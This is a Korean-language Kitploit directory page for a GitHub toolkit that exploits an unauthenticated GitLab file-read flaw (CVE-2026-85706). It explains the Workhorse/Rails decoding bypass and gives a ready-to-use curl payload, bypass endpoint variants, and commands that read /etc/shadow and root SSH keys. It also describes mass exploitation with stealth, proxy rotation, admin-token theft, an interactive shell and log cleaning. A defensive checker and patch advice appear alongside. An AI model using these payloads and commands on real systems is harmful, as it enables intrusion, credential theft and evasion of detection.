Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-85706-PoC-Toolkit — CVE-2026-85706 GitLab 비인증 파일 읽기용 Python 툴킷: loot, shell, 대량 스캔을 포함한 무기화된 익스플로잇과 비침투적 SafeChecker 감사 및 보고 기능. | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Defensive ToolsVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPost-ExploitationWeb SecurityPenetration TestingRed Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit
110시간 16분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-85706-PoC-Toolkit

CVE-2026-85706 GitLab 비인증 파일 읽기용 Python 툴킷: loot, shell, 대량 스캔을 포함한 무기화된 익스플로잇과 비침투적 SafeChecker 감사 및 보고 기능.

저장소 보기웹사이트

CVEPoC

CVE‑2026‑85706 – GitLab 비인증 파일 읽기 툴킷

Python 3.8+ CVSS Author GitLab

⚠️ 윤리적 사용만 허용 – 승인된 보안 테스트
이 저장소는 승인된 보안 전문가, 블루팀, 침투 테스터만을 위한 도구를 제공합니다.
컴퓨터 시스템에 대한 무단 접근은 CFAA(미국), Computer Misuse Act(영국), TCK 243/244(터키) 및 전 세계 유사 법률에 따라 불법입니다.


📖 취약점 개요

CVE‑2026‑85706은 자체 관리형 GitLab CE/EE(버전 18.7 ~ 19.3.1)의 치명적인 비인증 임의 로컬 파일 읽기 취약점으로, 비인증 공격자가 commits API에 단일 HTTP 요청을 보내 서버의 모든 파일을 읽을 수 있게 합니다.

작동 방식

  1. Workhorse vs. Puma 파싱 불일치 – GitLab Workhorse는 요청 경로를 퍼센트 디코딩 전에 검증하지만, Puma/Rails는 후에 디코딩합니다. 이를 통해 %63ommits와 같은 인코딩된 문자를 사용하여 Workhorse의 보안 검사를 우회할 수 있습니다.
  2. 인증 전 파일 열기 – /api/v4/projects/{id}/repository/commits 엔드포인트는 인증이 적용되기 전에 file.path에 지정된 파일을 엽니다.
  3. 오류를 통한 내용 반향 – 파일에 잘못된 %-시퀀스가 포함되어 있으면 Rack이 400 Bad Request 본문에 내용을 반향하여 전체 내용을 유출합니다.
  4. 영향 – 시크릿, 토큰, SSH 키, CI/CD 변수, 데이터베이스 자격 증명 및 GitLab 인프라로의 측면 이동. 즉시 업그레이드하세요!

영향받는 버전

  • 18.7.0 – 19.1.7 – 취약
  • 19.2.0 – 19.2.5 – 취약
  • 19.3.0 – 19.3.1 – 취약

패치

  • 19.1.8, 19.2.6, 19.3.2 이상으로 업그레이드하세요.
  • 업그레이드가 불가능한 경우, GitLab에 대한 네트워크 접근을 제한하고(인터넷에 절대 노출하지 마세요) 임시 방편으로 모든 토큰/시크릿을 교체하세요.

🧰 도구

도구목적대상 사용자
exploit.py비인증 파일 읽기, 전리품 열거, 관리자 토큰 추출, 대량 스캔, 대화형 셸, 프록시 로테이션, 스텔스 모드 및 다중 형식 보고를 갖춘 완전한 무기화 툴킷.레드팀 / 승인된 침투 테스터
safechecker.pyGitLab 버전을 감지하고, 노출을 검증하고, 보안 헤더를 감사하고, 파일을 읽지 않고 위험을 평가하는 비침투적 취약점 검사기. JSON/CSV/HTML 보고서를 생성합니다.블루팀 / 보안 감사자

📊 기능 비교


🎯 사용 사례 요약


⚙️ 설치

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 매개변수

exploit.py 매개변수

safechecker.py 매개변수


💥 시나리오


🧪 엔드포인트 및 익스플로잇 체인

익스플로잇은 다음 GitLab 엔드포인트와 우회 기법을 사용합니다:

페이로드 형식

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

바로 사용 가능한 curl

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ 책임 있는 사용

  • 이 도구는 소유하거나 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 사용하세요.
  • 무단 접근은 불법이며 비윤리적입니다.
  • 저자는 어떠한 오용에 대해서도 책임지지 않습니다.
  • 항상 해당 국가의 법률과 규정을 준수하세요.

이 소프트웨어는 교육 목적 및 승인된 보안 테스트 전용으로 제공됩니다.

도구 다운로드
기능exploit.pysafechecker.py
취약점 탐지✅✅
버전 탐지✅✅
비인증 파일 읽기✅❌
전리품 열거✅❌
관리자 토큰 추출✅❌
대화형 셸✅❌
대량 스캔 (멀티스레드)✅✅
보안 헤더 감사❌✅
TLS/인증서 검사❌✅
MITRE ATT&CK 매핑✅✅
프록시 지원✅✅
프록시 로테이션✅❌
User‑Agent 로테이션 (OPSEC)✅❌
지터 / 지연 (OPSEC)✅❌
적응형 속도 제한기✅✅
스텔스 모드✅❌
curl_cffi TLS 임퍼소네이션✅❌
비침투적 (안전) 모드❌✅
JSON / JSONL / CSV / HTML 출력✅✅
SQLite DB 출력✅❌
웹훅 알림✅✅
이전 스캔과의 비교✅✅
로그 정리 (안티 포렌식)✅❌
사용자 정의 User‑Agent✅✅
SSL 검증 제어✅✅
시나리오권장 도구
블루팀 – GitLab이 취약한지 확인safechecker.py
보안 감사 – 비침투적 취약점 평가safechecker.py
레드팀 – 전체 익스플로잇을 포함한 승인된 침투 테스트exploit.py
버그 바운티 – 책임 있는 공개 테스트safechecker.py
대량 스캔 – 여러 대상의 취약점 확인exploit.py (탐지만)
사고 대응 – 시스템이 침해되었는지 확인safechecker.py
매개변수설명
-u, --url단일 대상 URL (예: https://gitlab.example.com)
-f, --file대상 목록이 포함된 파일 (한 줄에 하나씩)
--pipestdin에서 대상 읽기 (subfinder/httpx 파이프라인)
--read읽을 절대 경로, 쉼표로 구분
--wordlist읽을 경로가 포함된 파일 (한 줄에 하나씩)
--project-id특정 프로젝트 ID 강제 지정
--max-projects시도할 최대 프로젝트 ID (기본값: 8)
--auto고가치 GitLab 파일 자동 전리품 수집
--loot--auto와 동일
--shell익스플로잇 후 대화형 셸
--forceGitLab 핑거프린트가 약해도 스캔
-t, --threads다중 대상용 스레드 (기본값: 8)
--timeoutHTTP 타임아웃 (기본값: 15초)
--retry재시도 횟수 (기본값: 3)
--retry-on재시도할 HTTP 코드 (기본값: 429,500,502,503,504)
--proxyHTTP/HTTPS 프록시
--proxy-list로테이션용 프록시가 포함된 파일
--proxy-rotate로테이션 전략: round-robin, random, sticky
--jitter요청 사이에 무작위 지터 추가
--jitter-range지터 최소,최대 초 (기본값: 0.1,2.0)
--delay요청 사이 고정 지연
--stealth스텔스 모드 활성화 (UA 로테이션 + X-Forwarded-For)
--curl-cffiTLS 핑거프린트 임퍼소네이션을 위해 curl_cffi 사용
--user-agent-fileUser-Agent 문자열이 포함된 파일
--max-body최대 응답 본문 크기 (0 = 무제한)
--concurrent-per-host호스트당 최대 동시 요청 수
--rate-limit초당 최대 요청 수 (0 = 무제한)
--exclude제외할 호스트, 쉼표로 구분 (glob 패턴)
--grep정규식과 일치하는 유출만 표시
--resume상태 파일에서 재개
--notify알림 URL (slack:, discord:, telegram:)
--db결과를 SQLite 데이터베이스에 저장
--output-format출력 형식: json, jsonl, csv, html
-o, --output출력 파일 경로
-v, --verbose상세 출력
-q, --quiet조용한 모드
--no-color색상 비활성화
--no-banner배너 없음
--configYAML/JSON 구성 파일
--dry-run요청을 보내지 않고 계획 표시
--safe-mode검증을 위해 /etc/hostname만 읽기
--timeout-profileaggressive, normal, stealth
--mitreMITRE ATT&CK 매핑 포함
--fingerprint상세 GitLab 핑거프린트
--cve-check관련 CVE 확인
--json-schemaSIEM용 JSON 스키마로 출력
--progress진행 표시줄 표시 (rich 필요)
매개변수설명
-u, --url단일 대상 URL (예: https://gitlab.example.com)
-f, --file대상이 포함된 파일 (한 줄에 하나씩)
-t, --threads다중 대상용 스레드 (기본값: 5)
--timeoutHTTP 타임아웃 (기본값: 10초)
--rate-limit초당 최대 요청 수 (0 = 무제한)
--user-agent사용자 정의 User-Agent 문자열
--insecureTLS 검증 비활성화 (MITM 위험)
--webhook웹훅 URL (slack:, discord:, telegram:)
--diff이전 스캔 JSON과 비교
-v, --verbose상세 출력
-o, --outputJSON 출력 파일
--csvCSV 출력 파일
--reportHTML 보고서 파일
--mitreMITRE ATT&CK 매핑 포함 (기본값: 켜짐)
#시나리오명령
1빠른 취약점 확인python safechecker.py -u https://gitlab.example.com
2보고서를 포함한 상세 감사python safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3파일에서 대량 감사python safechecker.py -f targets.txt -t 10 --rate-limit 5
4탐지 전용 익스플로잇python exploit.py -u https://gitlab.example.com --safe-mode
5단일 파일 읽기python exploit.py -u https://gitlab.example.com --read /etc/passwd
6여러 파일 읽기python exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7고가치 파일 자동 전리품 수집python exploit.py -u https://gitlab.example.com --auto
8대화형 셸python exploit.py -u https://gitlab.example.com --shell
9스텔스를 사용한 대량 익스플로잇python exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10subfinder에서 파이프라인subfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11SIEM 출력을 포함한 전체 공격python exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12중단된 스캔 재개python exploit.py -f targets.txt --auto --resume state.json
13두 스캔 비교python safechecker.py -f targets.txt -o new.json --diff previous.json
단계메서드엔드포인트설명
1. 우회POST/api/v4/projects/{id}/repository/%63ommits인코딩된 c가 Workhorse를 우회
2. 우회POST/api/v4/projects/{id}/%72epository/commitsrepository의 인코딩된 r
3. 우회POST/api/v4/projects/{id}/repository/commits/후행 슬래시 우회
4. 우회POST/api/v4/projects/{id}/repository/commits.jsonGrape 형식 접미사 우회
5. Files APIPOST/api/v4/projects/{id}/repository/files/x대체 경로